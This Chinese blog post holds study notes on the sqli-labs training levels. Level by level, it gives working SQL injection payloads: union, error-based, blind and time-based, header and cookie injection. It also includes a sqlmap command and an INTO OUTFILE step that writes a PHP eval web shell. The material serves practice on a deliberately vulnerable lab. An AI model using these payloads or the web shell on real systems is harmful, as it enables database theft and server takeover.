sqli-labs 笔记


第一,二关:Less-1/ ; Less-2/    get 注入 有显示位

http://ip/Less-1/?id=1
http://ip/Less-1/?id=1' and 1=1 --+

发现页面正常显示

http://ip/Less-1/?id=1' order by 3 --+

 然后判断字段数量,字段数为3列;查询当前数据库名字

http://ip/Less-1/?id=-1' union select 1,2,3  --+ #判断字段数量
http://ip/Less-1/?id=-1' union select 1,database(),3  --+ #查询当前数据库名字
http://ip/Less-1/?id=-1' union select 1,(SELECT table_schema   FROM information_schema.`TABLES`  WHERE table_schema = 'security' LIMIT 0,1),3  --+  #查询当前数据库名字
http://ip/Less-1/?id=-1' union select 1,(SELECT table_schema   FROM information_schema.`TABLES`   LIMIT 18,1),3  --+ #查询所有数据库名,并且提出某一个数据库名
http://ip/Less-1/?id=-1 '  union select 1,database(),(SELECT table_name     FROM information_schema.TABLES WHERE table_schema ='security'
  LIMIT 1,1 )--+ #根据数据库名,查出表名
http://ip/Less-1/?id=-1 '  union select 1,(SELECT COLUMN_name      FROM information_schema.`COLUMNS`
 WHERE table_name  ='referers'  limit 1,1),(SELECT table_name     FROM information_schema.TABLES WHERE table_schema ='security'
  LIMIT 0,1 )--+ #根据查出的表名,查出字段名

根据上面查询结果,就可以还原出该数据库具体结构,再根据结构信息查询出数据库存储的信息

第三关:Less-3/ ;Less-4/  get注入 有显示位

http://ip/Less-3/?id=3') and 1=1 --+

在 ' 的后多啦一个   ) 号

Less-4、

 第四关比第三关多 "   

http://ip/Less-4/?id=-4 ' ") union select 1,2,3 --+

第五关:Less-5/   Less-6/   不存在显示位

http://ip/Less-5/?id=-1'  union select 1,2,3  --+

利用报错注入

http://ip/Less-5/?id=-1'  union select updatexml(1,CONCAT('!',(select DATABASE()),'!'),1)  --+ #查看数据库名
http://ip/Less-5/?id=-1'  union select updatexml(1,CONCAT('!',(SELECT table_name  from information_schema.`TABLES` WHERE table_schema ='security' limit 0,1),'!'),1)  --+ #查看表名
http://ip/Less-5/?id=-1'  union select updatexml(1,CONCAT('!',(SELECT COLUMN_name   from information_schema.`COLUMNS` WHERE table_name  ='emails' limit 0,1),'!'),1)  --+ #查看字段名

能够查询出数据库名,表名,字段名,推到出数据库结构

 Less-6 的闭合字符为 "  ,而Less-5的闭合字符为 '

第七关:Less-7/

http://ip/Less-7/?id=1'))  union select 1,"<?php eval($_REQUEST[1])?>",3,4 into OUTFILE  "E:\\网络安全\\SQL注入\\测试\\shell.php" --+

上传一句话木马

第八关:Less-8/ 无回显位  盲注

http://ip/Less-8/?id=1' union select 1,2,3 --+

利用ASCII 比对,一个字符一个字符比对

http://ip/Less-8/?id=1' and (ascii(substr(database(),1,1)) = 115) --+

第九关:Less-9/ Less-10/ 时间延迟注入

第十关 的闭合是 "  

经过测试,发现没有报错信息,没有显示位信息

考虑时间延迟注入

http://ip/Less-9/?id=1' and if (LENGTH(DATABASE())=8,SLEEP(10),1)  --+
http://ip/Less-9/?id=1' and if (ascii(substr(database(),1,1)) = 115,SLEEP(10),1)  --+ #利用ASCII 比较,查询出数据库结构信息

第十一至十四关:Less-11-14/ 

确定字段列数

 根据不同参数的不同结果,可以判断出当前表的列数为2列

前言:这里有两个提交框,我们应该从哪里注入呢?这并不是困扰我们的问题。我们在实战中应该多方面测试,两个框都测试一下,那个可以就搞那个咯!多搞点不亏的!咳咳咳。
 
第一步:判断参数接受的类型。
账号:admin'      密码:1111         页面报错
账号:admin' #    密码:1111         登录成功(说明这一关存在弱口令,但我们要学习的是SQL注入)
账号:admin       密码:1111'        页面报错
账号:admin       密码:1111' #      页面正常    判断参数接受方式  password = '$password'  
 
注意:这里我们注入点在 password 中,其实 username 也是可以的。我们分析下源码就清楚了。
 
查看第一关的源码:
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";               参数类型判断正确!
 
如果我们注入username,后面的语句都被我们注释掉了,那么就变成了:
@$sql="SELECT username, password FROM users WHERE username='admin'   
这样就会直接登录成功,去数据库找damin用户并输出在页面中。如果我们一定要在username上面注入,可以这样(注意:这里的admin可以是随便任何字符,并不固定)
-admin") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #
 
第二步:直接上报错注入语句
账号:admin
密码:-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #    成功获取数据库名
     -1' and updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.TABLES WHERE table_schema ='security'
  LIMIT 0,1 ),0x7e),1) # 根据数据库,查询出表名

第十二关:就是闭合条件不一样

-1 ") and updatexml(1,concat(0x7e,(select database()),0x7e),1) # 当前数据库名

第十三关:就是闭合条件不一样

-1') and updatexml(1,concat(0x7e,(select database()),0x7e),1) #

 第十四关:就是闭合条件不一样

-1" and updatexml(1,concat(0x7e,(select database()),0x7e),1) #

第十五关:Less-15/ 报错注入,无显示位 采用布尔注入

输入错误信息

 当输入正确的参数时

第十六关的闭合条件不一样

第十七关

1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #

第十八关 :Less-18/ User-Agent注入

 

 根据这一关的页面提示,我们的注入应该和your ip address is:127.0.0.1 有关,所以实战网页中把握每一处细节才能找到漏洞!

 我们使用抓包神器 burp suite 抓个包看看请求头内容

 这里我们根据前面关卡的经验,绞尽脑汁也未能跑出我们要看到的数据!所以我们只能去分析十八关源码。 

  我们这样去构造语句:

之前的报错语句写法
 
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #
这一关的报错语句写法,可以看到后面多了个 ) ,目的是去闭合语句中前面的 ( 变成一个完整的()。这样VALUES就可以从括号中正常取值,我们的SQL语句就能被成功执行!
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)) #
 

当然也可以使用sqlmap神器一把梭 

因为是注入UA头,所以 level 等级设置为 3
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-18/index.php?id=1 --level 3 --dbs

第十九关:Referer中进行注入

这一关和十八关类型一样,区别在于上一关在User-Agent注入,这一关在Referer中进行注入!!

第二十关:cooke注入

这一关和十八关十九关类似,属于cookie注入!不过这里多考察了一个burp suite工具抓返回包的操作,通过抓登录后的返回包中修改cookie实现SQL注入!!!

 

' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #

第二十一关:二十二的闭合方式不一样

此关有点特别,虽然是cookie注入,但是是经过编码的

发现cookie那里的值为RHVtYg== 非常像base64编码过的。我们就来尝试一下经过编码再进行注入
把单引号经过编码之后再放入cookie中。 

 然后利用bp抓包,在cooke注入

' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1' ='1

 第二十二关是闭合方式的不同

" and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1' ='1

第二十三关:get注入  末尾的闭合方式不一样

http://ip/Less-23/?id=1'  and '1'='1 

http://ip/Less-23/?id=1'  and updatexml(1,CONCAT('!',(select DATABASE()),'!'),1)    or '1'='1 

第二十四:

 第二十五关:

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

为衣渐宽终不悔

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值